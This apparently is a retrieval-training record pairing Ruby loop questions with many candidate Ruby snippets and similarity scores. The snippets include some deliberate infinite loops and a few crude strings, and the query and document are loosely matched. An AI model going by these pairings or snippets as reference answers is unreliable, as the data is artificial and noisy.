print_hello(number_of_times)\n i = 0\n while i < number_of_times\n puts \"hello\"\n i += 1\n end\nend", "def print_hello(number_of_times)\n i = 0\n while i < number_of_times\n puts \"hello\"\n i += 1\n end\nend", "def print_hello(number_of_times)\n i = 0\n while i < number_of_times\n puts \"hello\"\n i += 1\n end\nend", "def print_hello(number_of_times)\n i = 0\n while i < number_of_times\n puts \"hello\"\n i += 1\n end\nend", "def repeat_hi(num)\n i = 0\n while i < num\n puts 'hi'\n i += 1\n end\nend", "def repeat(string, times)\n times.times do\n print string\n end\nend", "def repeat(string, integer)\n integer.times do \n puts string\n end\nend", "def repeat(string, number)\r\n number.times do\r\n puts string\r\n end\r\nend", "def repeat_hi(num)\n i = 0\n while i < num\n puts \"hi\"\n i += 1\n end\nend", "def repeat (string, integer)\n integer.times{puts string}\nend", "def repeat(string, int)\r\n int.times {puts string}\r\nend", "def repeat(string, num)\n num.times do\n puts string\n end\nend", "def repeat(string, int)\n int.times{puts string}\nend", "def repeat(hello, n = 2)\n\n\t([hello] * n).join(\" \")\nend", "def greeting(count)\n while count > 0\n puts 'Hello!'\n count -= 1\n end\nend", "def repeat(str, num)\n puts num.times {puts str}\nend", "def repeat(string, number)\n number.times do\n p string\n end\nend", "def repeat_hi(num)\n i = 0\n while i < num\n puts \"hi\"\n i += 1\n end\n end", "def repeat(string, int)\n int.times do\n p string\n end\nend", "def repeat(string, number)\n number.times {puts string}\nend", "def repeat(string, number)\n number.times {puts string}\nend", "def repeat_yourself(string,number)\n number.times { puts string }\nend", "def repeat(string, integer)\n integer.times { puts string }\nend", "def repeat(string, num)\n num.times {puts string}\nend", "def repeat(str, int)\n int.times do\n puts str\n end\nend", "def repeat(word, num)\n num.times { |_| puts word }\nend", "def repeat(string, number_of_times)\n number_of_times.times do\n puts string\n end\nend", "def repeat_again(string, i)\n i.times {puts string}\nend", "def greet(n)\n n.times do |x|\n puts \"Hello: #{x}\"\n end\nend", "def speak(repetitions)\n repetitions.times {puts \"Woof!\"}\n end", "def repeat(string, int)\n int.times { puts string }\nend", "def repeat(string, number)\n number.times{ puts string }\nend", "def say_hello\n p \"hello\"\n # say_hello # an infinite loop\nend", "def repeat(word, number)\n number.times { puts word}\nend", "def repeat(string, num)\n num.times { puts string }\nend", "def repeat(string, num)\n num.times { puts string }\nend", "def repeat(string, number)\n number.times { puts string }\nend", "def repeat(string, number)\n number.times { puts string }\nend", "def repeat(word, number)\n number.times { puts word }\nend", "def hello\n puts \"Hello Dude!!!\"\n puts \"Hellod Douchebag!!!\"\nend", "def repeat (say, how_many = 2)\n (\"#{say} \" * how_many).strip\n\nend", "def repeat(str, num)\n num.times { puts str }\nend", "def repeat(str, num)\n num.times { puts str }\nend", "def repeat(str, num)\n num.times { puts str }\nend", "def repeat(word, num)\n num.times { p word }\nend", "def repeat(str, num)\n num.times do | i |\n puts str\n end\nend", "def repeat_yourself(string, num) \n puts \"#{string}\\n\" * num\nend", "def repeat(str, int)\n int.times { puts str }\nend", "def repeat(str, n)\n n.times do\n puts str\n end\nend", "def greeting(number_of_greetings)\n number_of_greetings.times {puts 'Hello!'}\nend", "def repeat(message, times)\n\tcounter = 1\n\twhile counter <= times\n\t\tputs message\n\t\tcounter += 1\n\tend\nend", "def repeater(repetition = 1, string = \"No string was given :(\")\n repetition.times { p string }\nend", "def do_something\n 10000.times { \"cat\" }\n end", "def repeat(str, int)\n int.times { p str }\nend", "def loop_message_five_times(message)\n 5.times {puts message}\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\nend; end", "def repeat(str, n)\n\tn.times {|n| puts str}\nend", "def another_greetings\n puts 'Hello'; puts 'Motherfucker'\nend", "def repeat(param_integer, param_string)\n param_integer.times do\n puts \"param_string\"\n end\nend", "def repeat(msg, repeat_count = 2)\n result = msg;\n i = repeat_count;\n\n while (i > 1) do\n result = (result + \" \" + msg);\n i = (i - 1);\n end\n\n return result;\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\nend\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\nend\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\nend\nend", "def meow (num)\n num.times {puts\"Meowww\"}\n end", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def cartman_hates(thing)\nwhile true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def repeat(str, nb_times)\r\n if nb_times < 0\r\n puts 'You must provide a positive number!'\r\n return\r\n end\r\n\r\n nb_times.times { puts str }\r\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def repeat(input_str, number)\n number.times {puts input_str}\nend", "def loop_message_n_times(message, number)\n number.times {puts message}\nend", "def cartman_hates(thing)\n # while true\n puts \"What's there to hate about #{thing}?\"\nend", "def speak(integer)\n integer.times do\n puts \"Woof!\"\n end\n end", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend" ]
[ "0.79736364", "0.7934241", "0.7758329", "0.767839", "0.7601328", "0.7591109", "0.7579973", "0.75767684", "0.7562978", "0.7514474", "0.74113965", "0.7374898", "0.7361804", "0.73304784", "0.7329748", "0.7329748", "0.7329748", "0.7329748", "0.7286418", "0.72671235", "0.7205633", "0.7182911", "0.71773404", "0.7163184", "0.7141502", "0.7118648", "0.7095119", "0.7090795", "0.7085321", "0.70839727", "0.708017", "0.70777315", "0.70759034", "0.7062334", "0.7062334", "0.70589775", "0.70421934", "0.70393306", "0.7007325", "0.6992766", "0.69741774", "0.69715303", "0.69702363", "0.6964724", "0.69530016", "0.69487804", "0.6945749", "0.6937931", "0.6934689", "0.6934689", "0.6924851", "0.6924851", "0.6901067", "0.68918073", "0.6872533", "0.6847176", "0.6847176", "0.6847176", "0.6834612", "0.68080014", "0.68004113", "0.6794689", "0.6789836", "0.6738096", "0.6733142", "0.6730967", "0.6692827", "0.66698396", "0.66330254", "0.6632987", "0.6621157", "0.6589316", "0.6580659", "0.6575888", "0.65464413", "0.65464413", "0.65464413", "0.65412116", "0.6531731", "0.6512389", "0.65025675", "0.65023726", "0.647186", "0.6468269", "0.6458839", "0.64502645", "0.64495313", "0.6439483", "0.6439483", "0.6439483", "0.6439483", "0.6439483", "0.6439483", "0.6439483", "0.6439483", "0.6439483", "0.6439483", "0.6439483", "0.6439483", "0.6439483" ]
0.808041
0
while loops in ruby while the condition of a loop is true, keep running the loop once the condition is false, stop the loop
def printNums i = 10 while i >= 0 puts i i -= 1 end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def while(&block)\n\t\t\t\t\trepeat &block\n\t\t\t\tend", "def while(&blk)\n loop{ !blk[] }\n end", "def endless_loop?; end", "def loop_while(options={}, &block)\n timeout = options.delete(:timeout) || 2500\n timeout = 10 if timeout < 10\n\n result = block_given? ? block.call : true\n while result\n sleep 0.01\n result = block_given? ? block.call : true\n unless result\n timeout -= 10\n raise BarkestLcd::PicoLcdGraphic::Timeout if timeout < 0\n end\n end\n\n true\n end", "def myloop\n while true\n yield\n end\nend", "def run\n while 1\n if step == 1 then break end\n end\n end", "def my_while(cond, &body)\n while cond.call\n body.call\n end\nend", "def loop_forever; end", "def using_while\n\tlevitation_force = 6\n\twhile levitation_force < 10\n puts \"Wingardium Leviosa\"\n levitation_force += 1\n end\nend", "def using_while\nlevitation_force = 6\nwhile levitation_force < 10\n puts \"Wingardium Leviosa\"\n levitation_force += 1\nend\nend", "def wait_while\n while yield\n wait\n end\n end", "def my_loop\n while true\n yield\n end\nend", "def keep_looping?\n true\n end", "def wait_while\n while yield\n\twait\n end\n end", "def infinite_loop?; end", "def loop; end", "def wait_while\n while yield\n wait\n end\n end", "def wait_while(cycle)\n while yield\n sleep(cycle)\n end\n end", "def endless_loop\n loop { yield }\n end", "def process_loop(looping_infinitely = true)\n @started = Time.now\n begin\n process\n end while looping_infinitely\n end", "def looper\n i = 0\n while i < 20\n i += 1\n # break if i == 9\n # next if i.even?\n # return if i == 9\n puts i\n end\n puts \"done with the loop\"\nend", "def loop\n puts \"Diet Manager 3000!\"\n puts \"Created by Jesse Jurman\"\n check = 1\n while check != 0\n print \"> \"\n check = step\n end\n end", "def check_for_infinite_loop(processed_source, offenses_by_iteration); end", "def do_while(&blk)\n s = self.ensure_enum\n Enumerator.new do |out|\n while s.has_next?\n break unless blk.call(s.peek)\n out.yield s.next\n end\n end\n end", "def untilFalse firstInput, someProc\n input = firstInput\n output = firstInput\n\n while output\n input = output\n output = someProc.call input\n\n end\n\n input\n\nend", "def is_loop\n\n false\n end", "def is_loop\n\n true\n end", "def setup_while\n return TSBS.error(@acts[0], 2, @used_sequence) if @acts.size < 3\n cond = @acts[1]\n action_key = @acts[2]\n actions = (action_key.class == String ? TSBS::AnimLoop[action_key] :\n action_key)\n if actions.nil?\n show_action_error(action_key)\n end\n begin\n while eval(cond)\n exe_act = actions.clone\n until exe_act.empty? || @break_action\n @acts = exe_act.shift\n execute_sequence\n end\n end\n rescue StandardError => err\n display_error(\"[#{SEQUENCE_WHILE},]\",err)\n end\n end", "def loop_wait_before_first_iteration?\n true\n end", "def loop_wait_before_first_iteration?\n true\n end", "def run_while!\n\n before_run\n\n i=1\n\n while yield i do\n\n break if maximum_round? i\n\n before_round i\n\n if i == 1\n # some things are different for the first round, namely nodes with activation = start\n run_first_round!\n else\n run_round!\n end\n\n after_round i\n i+=1\n end\n\n after_run\n\n self\n\n end", "def takeWhile(&blk)\n Rubylude.new ->() {\n while value = @generator.resume\n return unless blk.call(value)\n Fiber.yield value\n end\n }\n end", "def test_while_loop\n $i = 1\n $counter = 5\n while $i < $counter do\n assert_equal ($i >= 0), true\n assert_equal ($i < $counter), true\n $i += 1\n end\n end", "def while_block\n @while_block || nil\n end", "def while\n\t\t\tprogram = pop\n\t\t\tcond = pop\n\t\t\traise ArgumentError, \"WHILE: first element is not an Array.\" unless cond.is_a? Array\n\t\t\traise ArgumentError, \"WHILE: second element is not an Array.\" unless program.is_a? Array\n\t\t\tsave_stack\n\t\t\t~cond\n\t\t\tres = pop\n\t\t\trestore_stack\n\t\t\tif res then \n\t\t\t\t~program\n\t\t\t\t[cond, program].each {|e| push e }\n\t\t\t\tself.while\n\t\t\tend\n\t\tend", "def modify_while\n x = 0\n puts x += 1 while x<10\nend", "def in_while\n return unless block_given?\n @scope.push_while\n result = yield\n @scope.pop_while\n\n result\n end", "def while_statement\n i = 1\n result = 1\n while i <= 10\n result = result * i\n i += 1\n end\nend", "def run\n until halted?\n step\n end\n end", "def while!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 80 )\n\n type = WHILE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 201:9: 'while'\n match( \"while\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 80 )\n\n end", "def while(frames, &block)\n frames.times do\n block.call\n wait_internal\n end\n end", "def print_1_forever\n while true do\n puts 1\n end\nend", "def waiting actual\n interval = 0.5\n i = 0\n while true\n if actual == yield\n return 'true!!'\n end\n i += interval\n puts '.'\n sleep i\n end\n 'false!!'\nend", "def setup_while\n return unless PONY::ERRNO::check_sequence(current_act)\n cond = @acts[1]\n action_key = @acts[2]\n actions = (action_key.class == String ? TSBS::AnimLoop[action_key] : action_key)\n if actions.nil?\n show_action_error(action_key)\n end\n begin\n while eval(cond)\n exe_act = actions.clone\n until exe_act.empty? || @break_sequence\n @acts = exe_act.shift\n execute_sequence\n end\n end\n rescue StandardError => err\n display_error(\"[#{SEQUENCE_WHILE},]\",err)\n end\n end", "def a_few_more_steps\n loop do\n puts \"Right foot back\"\n sleep(0.5)\n puts \"Left foot back\"\n sleep(0.5)\n puts \"Right foot back\"\n sleep(0.5)\n puts \"Stop\"\n sleep(1)\n puts \"Right foot steps right and back\"\n sleep(0.5)\n puts \"Left foot crosses over right\"\n sleep(0.5)\n puts \"Right foot steps right\"\n sleep(0.5)\n puts \"Turn\"\n sleep(1)\nend\nend", "def while!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 23 )\n\n type = WHILE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 325:9: 'while'\n match( \"while\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 23 )\n\n end", "def doUntilFalse firstInput, someProc\n input = firstInput\n output = firstInput\n \n while output\n input = output\n output = someProc.call input\n end\n \n input\nend", "def func_while(args)\n p1 = car(args)\n p2 = cdr(args)\n\n while _eval(p1) != @o_man.nil\n func_progn(p2)\n end\n\n return @o_man.nil\n end", "def game_loop\n again = true\n\n while again\n bet\n deal\n player_action\n dealer_action\n reveal_final_hand\n print_player_outcomes\n remove_players\n\n again = play_again?\n linebreak\n end\n\n exit_message\n\n end", "def do_until_false first_input, some_proc\n input = first_input\n output = first_input\n \n while output\n input = output\n output = some_proc.call input\n end\n\n input\nend", "def run()\n while(true)\n cycle() ;\n sleep(2) ;\n end\n end", "def do_till_false(numbers) \r\n numbers.each do |x|\r\n while numbers.length > 3\r\n numbers.pop\r\n end\r\n end\r\np numbers\r\nend", "def foreverize\n loop do\n run\n end\n end", "def run_calculator\n\n while calculate != \"exit\"\n calculate\n\n end\n\nend", "def play\n while true\n speel_game\n break unless speel_opnieuw?\n end\n puts \"Bedankt voor het spelen!\"\nend", "def do_until_false(first_input, some_proc)\n input = first_input\n output = first_input\n\n while output\n input = output\n output = some_proc.call(input)\n end\n\n input\nend", "def using_until\nlevitation_force= 6\nuntil levitation_force == 10 do\n puts \"Wingardium Leviosa\"\n levitation_force += 1\n end\nend", "def stop_loop\n puts \"=> Please enter a number, or type 'STOP' to end the sequence\"\n input = gets.chomp\n while input != 'STOP' do\n num = input.to_i * 2\n prompt(\"Your number times 2 is #{num}\")\n puts \"=> If you would like to continue, enter another number, otherwise enter 'STOP'.\"\n input = gets.chomp\n end\n prompt(\"Thanks for playing!\")\nend", "def wait_while(timeout: nil, message: nil, interval: nil, **opt, &blk)\n message ||= proc { |obj| \"waiting for false condition on #{obj.inspect}\" }\n\n # TODO: Consider throwing argument error for mixing block & options\n proc = create_proc(opt, &blk)\n\n Wait.while(timeout: timeout, message: message, interval: interval, object: self, &proc)\n\n self\n end", "def loop\n end", "def loop\n end", "def wait_one_cycle\n\t current_cycle = execute { cycle_index }\n\t while current_cycle == execute { cycle_index }\n\t\traise ExecutionQuitError if !running?\n\t\tsleep(cycle_length)\n\t end\n\tend", "def loop(timeout = nil, &block)\n running = block || Proc.new { busy? }\n loop_forever{ break unless process_iteration(timeout, &running) }\n end", "def do_until_false(first_input, some_proc)\n input = first_input\n output = first_input\n\n while output\n input = output\n output = some_proc.call(input)\n end\n input\nend", "def loop\n cmd = Parser.get_input ConsoleDisplay.prompt\n cmd_hash = Parser.parse cmd\n @alive = false if cmd_hash[:cmd] == \"exit\"\n cmd_hash\n end", "def loop\n end", "def cartman_hates(thing)\nwhile true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def stop\n @loop = nil\n end", "def while!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 46 )\n\n\n\n type = WHILE\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 224:8: 'while'\n match( \"while\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 46 )\n\n\n end", "def while_stmt \n\t\n\t$cst.add_branch(\"WhileStatement\")\n\t\n\tmatch_token(\"T_WHILE\", $tokens[$index])\n\tboolexpr\n\tblock\n\t\n\t$cst.ascend\n\t\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end # Add an \"end\" here\nend", "def perform_loop_step(message)\n puts \"message received: #{message}\"\n @turns_allowed = @turns_allowed -1\n if finished?\n perform_loop_update_for(Event.new(:killed, 'game over'))\n else\n perform_loop_update_for(message)\n end\n end", "def while_statement(fn)\n bgn = fn.new_label\n @loop_begin_label = bgn\n match(Token.new(:reserved, 'while'))\n match(Token.new(:symbol, '('))\n fn.code << \"#{bgn}:;\\n\"\n tf = condition_expression(fn)\n @loop_exit_label = tf[1]\n match(Token.new(:symbol, ')'))\n fn.code << \"#{tf[0]}:;\\n\"\n block_statements(fn)\n fn.code << \"goto #{bgn};\\n\"\n fn.code << \"#{tf[1]}:;\\n\"\n\n end", "def wait_until(cycle)\n until yield\n\t sleep(cycle)\n\tend\n end", "def using_until\n levitation_force = 6\n until levitation_force == 10 \n puts \"Wingardium Leviosa\"\n levitation_force += 1 \nend\nend", "def looping?\n !sample_loop_length.zero?\n end", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end # fix\nend", "def wait_until iterations = 100\n count = 0\n loop do\n raise \"criteria not met\" if count >= iterations\n break if yield\n sleep 0.0001\n count += 1\n end\n end", "def take_while list, &block\n # your solution here\n list.take_while &block\n \nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def ask(question)\n while true\n\n ### Fill in with your code ###\n\n end\nend", "def using_until\n levitation_force = 6\n until levitation_force == 10\n puts \"Wingardium Leviosa\" \n levitation_force+= 1\n end\nend", "def hit_loop(competitor)\n until competitor.bust? || competitor.twenty_one?\n sleep 2\n competitor.hit? ? deal_player_cards(competitor, 1) : break\n break if competitor.doubled_down?\n @view.print_busted if competitor.bust?\n @view.print_player_hand(competitor)\n end\n handle_double_down(competitor) if competitor.doubled_down?\n end", "def control_loop\n if stopping?\n unsubscribe!\n stopped!\n else\n attempt_recovery if paused?\n sleep(3)\n end\n end", "def yo_dawg(num)\n n.times do\n n.times do\n puts \"I put a loop in your loop so you can loop while you loop.\"\n end\n end\nend", "def loop\n measurement = yield @position\n\n while true do\n position = control measurement\n\n measurement = yield position\n end\n end", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def run\n run_one_instruction while threads.length > 0\n end", "def loop(wait=nil, &block)\n running = block || Proc.new { |c| busy? }\n loop_forever { break unless process(wait, &running) }\n end", "def block_statement\n until %w(e l u).include?($lookahead)\n case $lookahead\n when \"i\"\n if_statement\n when \"w\"\n while_statement\n when \"p\"\n loop_statement\n when \"r\"\n repeat_statement\n else\n other\n end\n end\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\nend\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\nend\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\nend\nend", "def cartman_hates(thing)\n # while true\n puts \"What's there to hate about #{thing}?\"\nend", "def stopsig(*) end", "def run\n while @running\n step\n end\n end", "def the_game\n# adding an additional until statement after in_city seems to have fixed the crash\n# this does, however, mean the player can only soft quit from the camp. Fair enough for now.\n gameon = true \n\n until !$in_camp do\n camp\n end\n\n until !$in_forest do\n \tforest\n end\n\n until !$in_boss do\n boss\n end\n\n until !$at_gate do\n gate\n end\n\n until !$in_city do\n city\n end\n\n# my dirty little fix.\n until !gameon\n the_game\n end\n\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend", "def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend" ]
[ "0.76866835", "0.74159867", "0.73592836", "0.7293499", "0.70555836", "0.7024165", "0.7012738", "0.70073515", "0.6984371", "0.6954088", "0.6946046", "0.6941181", "0.69066024", "0.6900002", "0.6895594", "0.6893903", "0.6810378", "0.6783853", "0.67562807", "0.6650762", "0.6628814", "0.6616989", "0.6560492", "0.6553135", "0.6551679", "0.6549015", "0.65266126", "0.6515624", "0.6510615", "0.65094644", "0.6481067", "0.6457748", "0.64560324", "0.64479107", "0.6415952", "0.63635814", "0.63592243", "0.6348788", "0.63382864", "0.6331167", "0.6329744", "0.63169545", "0.6313551", "0.63034356", "0.6279863", "0.62758344", "0.62687707", "0.6262377", "0.6257069", "0.6248954", "0.6240871", "0.62176865", "0.62081176", "0.62078184", "0.62037385", "0.6202673", "0.6186565", "0.61779684", "0.6159141", "0.6157029", "0.6157029", "0.6154161", "0.61533856", "0.6149801", "0.6148637", "0.6145634", "0.6127702", "0.61175805", "0.60980964", "0.60569286", "0.6018199", "0.6014597", "0.6013791", "0.6009201", "0.6007385", "0.6007357", "0.5990042", "0.5989524", "0.5982975", "0.5949367", "0.59442747", "0.59426814", "0.59362537", "0.5935416", "0.59255964", "0.5923512", "0.5901647", "0.5899993", "0.58956116", "0.58869576", "0.5883307", "0.5870945", "0.5870945", "0.5870945", "0.5868909", "0.58590025", "0.5849685", "0.58479106", "0.5844326", "0.5844326", "0.5844326" ]
0.0
-1
next skips over lines after the keyword which may give us an infinite loop
def count_e(word) count = 0 #use count to track number of e's i = 0 #use i to iterate thru the word while i < word.length char = word[i] if char == "e" count += 1 end i += 1 end return count end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def next\n\t\tlines.shift\n\tend", "def next_line\r\n while true\r\n if (@lexemes[@pointer] != nil && @lexemes[@pointer] != '@')\r\n @pointer = @pointer.next\r\n else\r\n break\r\n end\r\n end\r\n end", "def next() end", "def next() end", "def next!() end", "def next()\n \n end", "def next()\n \n end", "def next_skip_line_number\n first = self.next\n first.type == :integer ? self.next : first\n end", "def next\n end", "def next\n end", "def continue; end", "def continue; end", "def _skip_next\n @index += 1\n\n self\n end", "def skip_to_eoln\r\n @source.get until @source.eoln?\r\n true\r\n end", "def read_next()\n return nil if @at_end\n\n begin\n pos = @marker.position\n\n if @marker.character == ?\\n\n pos.line += 1\n pos.column = 0\n end\n\n @marker.character = @reader.next\n @marker.source_index += 1\n pos.column += 1\n rescue StopIteration\n @at_end = true\n @marker.character = nil\n end\n\n @marker.character\n end", "def next\n\t\tend", "def has_next?; end", "def nextLine\r\n\t\twhile (@allLines[0] == \"\" || @allLines[0] == \"\\r\\n\" || @allLines[0] == \"\\n\")\r\n\t\t\[email protected]\r\n\t\tend\r\n\t\tif(@allLines[0]!=nil)\r\n\t\t\t@Line = @allLines[0]\r\n\t\t\[email protected]\r\n\t\t\tcheckSpace\r\n\t\tend\r\n\tend", "def continue?; end", "def next(pointer); end", "def next(pointer); end", "def skip\n end", "def skip\n end", "def skip_until(y, m, d, msg); end", "def skip(pattern)\n _scan_headonly(pattern, true, false)\n end", "def next\n @next\n end", "def next_token; end", "def next_statement; end", "def get_next_entry; end", "def collect_next_line\n line = @io.gets\n return nil unless line\n\n if line =~ ONE_LINE_TEST_RESULT_REGEX\n process_test_result $1\n\n elsif line.include? TEST_RESULT_START_TOKEN\n @partial_test_result << line.sub(TEST_RESULT_START_TOKEN, '')\n\n elsif line.include? TEST_RESULT_END_TOKEN\n @partial_test_result << line.sub(TEST_RESULT_END_TOKEN, '')\n process_test_result @partial_test_result\n @partial_test_result = ''\n\n elsif !@partial_test_result.empty?\n # Middle of a test result\n @partial_test_result << line\n\n else\n @on_non_test_result_line_block.call(line) if @on_non_test_result_line_block\n\n end\n\n line\n end", "def has_next()\n \n end", "def has_next()\n \n end", "def intend_next\n intend_with :first, :next\n end", "def intend_next\n intend_with :first, :next\n end", "def next\n fil_header[:next]\n end", "def skipped_lines; end", "def skipped_lines; end", "def next\n block.instructions[index+1] || (block.next ? block.next.instructions.first : nil)\n end", "def next_item\n return @last_lexeme if @last_lexeme[0].nil?\n while true\n @line = next_line if buffer_empty?\n if @line.nil?\n lexeme = [nil, @line_no, 1]\n break\n end\n\n # Skip whitespaces\n while space?(@line[@pos])\n @pos += 1\n end\n\n # Skip triple dot characters (join lines)\n if @line[@pos, 4] == \"...\\n\" || @line[@pos, 2] == \"…\\n\"\n line_no, pos = @line_no, @pos + 1\n @line, @pos = next_line, 0\n if @line.nil? || @line.strip.empty?\n raise SyntaxError.new(line_no, pos, 'Line continuation may not be followed by an empty line')\n end\n next\n end\n\n # Skip one line comments\n if @line[@pos, 3] == 'BTW'\n @pos = @line.length - 1\n end\n # and multiline ones\n if @last_lexeme[0] == \"\\n\" && @line[@pos, 4] == 'OBTW'\n tldr_found, line_no, pos = false, @line_no, @pos + 1\n while true\n @line = next_line\n break if @line.nil?\n m = @line.chomp.match(/(^|\\s+)TLDR\\s*(,|$)/)\n unless m.nil?\n tldr_found = true\n @pos = m.end(0)\n break\n end\n end\n unless tldr_found\n raise SyntaxError.new(line_no, pos, 'Unterminated multiline comment')\n end\n next\n end\n\n if @line[@pos] == \"\\n\" || @line[@pos] == '!'\n # Handle newline and bang separately\n lexeme = [@line[@pos], @line_no, @pos + 1]\n @pos += 1\n elsif @line[@pos] == ','\n # Comma is a virtual newline\n lexeme = [\"\\n\", @line_no, @pos + 1]\n @pos += 1\n elsif @line[@pos] == '\"'\n # Strings begin with \"\n # Need to handle empty strings separately\n if @line[@pos + 1] == '\"'\n string = '\"\"'\n else\n m = @line.match(/([^:](?:::)*)\"/, @pos + 1)\n string = @line[@pos..m.end(0) - 1] unless m.nil?\n end\n # String must be followed by an allowed lexeme delimiter\n if string.nil? || !lexeme_delimiter?(@pos + string.length)\n raise SyntaxError.new(@line_no, @pos + 1, 'Unterminated string constant')\n end\n lexeme = [%Q[\"#{escape_string(string[1..-2])}\"], @line_no, @pos + 1]\n @pos = @pos + string.length\n else\n # Grab as much characters as we can until meeting lexeme delimiter\n # Treat what we grabbed as a lexeme\n seq, pos = '', @pos + 1\n until lexeme_delimiter?(@pos)\n seq += @line[@pos]\n @pos += 1\n end\n lexeme = [seq, @line_no, pos]\n end\n\n break\n end\n @last_lexeme = lexeme\n end", "def next\n after.first\n end", "def feed(line, labelhash)\n @skip = line.empty? || (line =~ /^\\;(-)\\1*$/)\n\n # this goes first\n is_done? line\n return if @done || @skip\n\n is_name? line\n is_flags? line\n is_tags? line\n is_stack? line\n is_vocab? line\n is_code? line,labelhash\n\n # this goes last\n is_desc? line\n end", "def skip_meta_statements\n while @scanner.peek.type == :comment\n\t write(\"#{@scanner.peek.value}\\n\")\n\t @scanner.next\n end\n rescue StopIteration\n false\n end", "def move_to_next_line()\r\n while @seek_ptr < @len && @fileBuf.at(@seek_ptr) != \"\\n\"\r\n @seek_ptr = @seek_ptr + 1\r\n end\r\n end", "def scan_next(pattern)\n return unless @s.scan_until(pattern)\n @s.matched\n end", "def keyword_to_skip(keyword_name)\n\tkw = Keyword.find_by_name(keyword_name)\nend", "def skip\n @scanner.skip(@skip)\n end", "def next\n @next||=after.first\n end", "def next( insn )\n # TODO\n end", "def next(msg)\n # be tolerant of the fact that there might be other \n # stuff in the log file.\n next_line do |input, line|\n if input.key?('sequence')\n msg.populate(line, input) unless @sequence && @sequence != input['sequence']\n return true\n end\n end\n return false\n end", "def next_words_on_error\n if n = @src.rest.index(\"\\n\")\n @src.rest[0 .. (n-1)]\n else\n @src.rest\n end\nend", "def next\n if @state == :start && @scanner.eos?\n return nil\n else\n scan_next_token\n end\n end", "def nextline\n # handle last file\n\n if @curr.nil?\n @curr=File.open @files.next rescue nil\n end\n\n return if @curr.nil? # Still Nil?\n\n # handle EOF\n if (line = @curr.gets).nil?\n @curr=nil\n :eof\n else\n line.chomp\n end\n end", "def skip_meta_statements\n while @enum.peek.type == :comment\n @instruction.push(@enum.peek.value+\"\\n\")\n @enum.next\n end\n rescue StopIteration\n false\n end", "def next\n layout.rows[number+1] unless last?\n end", "def scan_until(pattern); end", "def next\n @stmt.step\n end", "def skip\n @str.slice! @last_re if peek_next_type != :eos\n end", "def next\n raise NotImplementedError\n end", "def next\n raise NotImplementedError\n end", "def next\n token = next_token\n token = next_token while token&.empty?\n token\n end", "def parse_skip_token(next_link)\n return nil unless next_link\n next_link[/.*?skipToken=(.*?)$/i, 1]\n end", "def next?()\n !end?\n end", "def next_token\n #dputs \"@line: \" + @line\n if @state == :normal\n while true\n temp = _next_token\n unless temp == \"#white_space\" || temp == \"#comment\"\n break\n end\n end\n #dputs \"token: \" + temp\n @current_token = temp\n return temp\n else\n return :Terminate\n end\n \n end", "def skip_list_continuation\n if [email protected]? && @lines.first.chomp == '+'\n @lines.shift\n end\n\n nil\n end", "def skip_until(pattern)\n x = @pos || 0\n y = _scan(pattern, 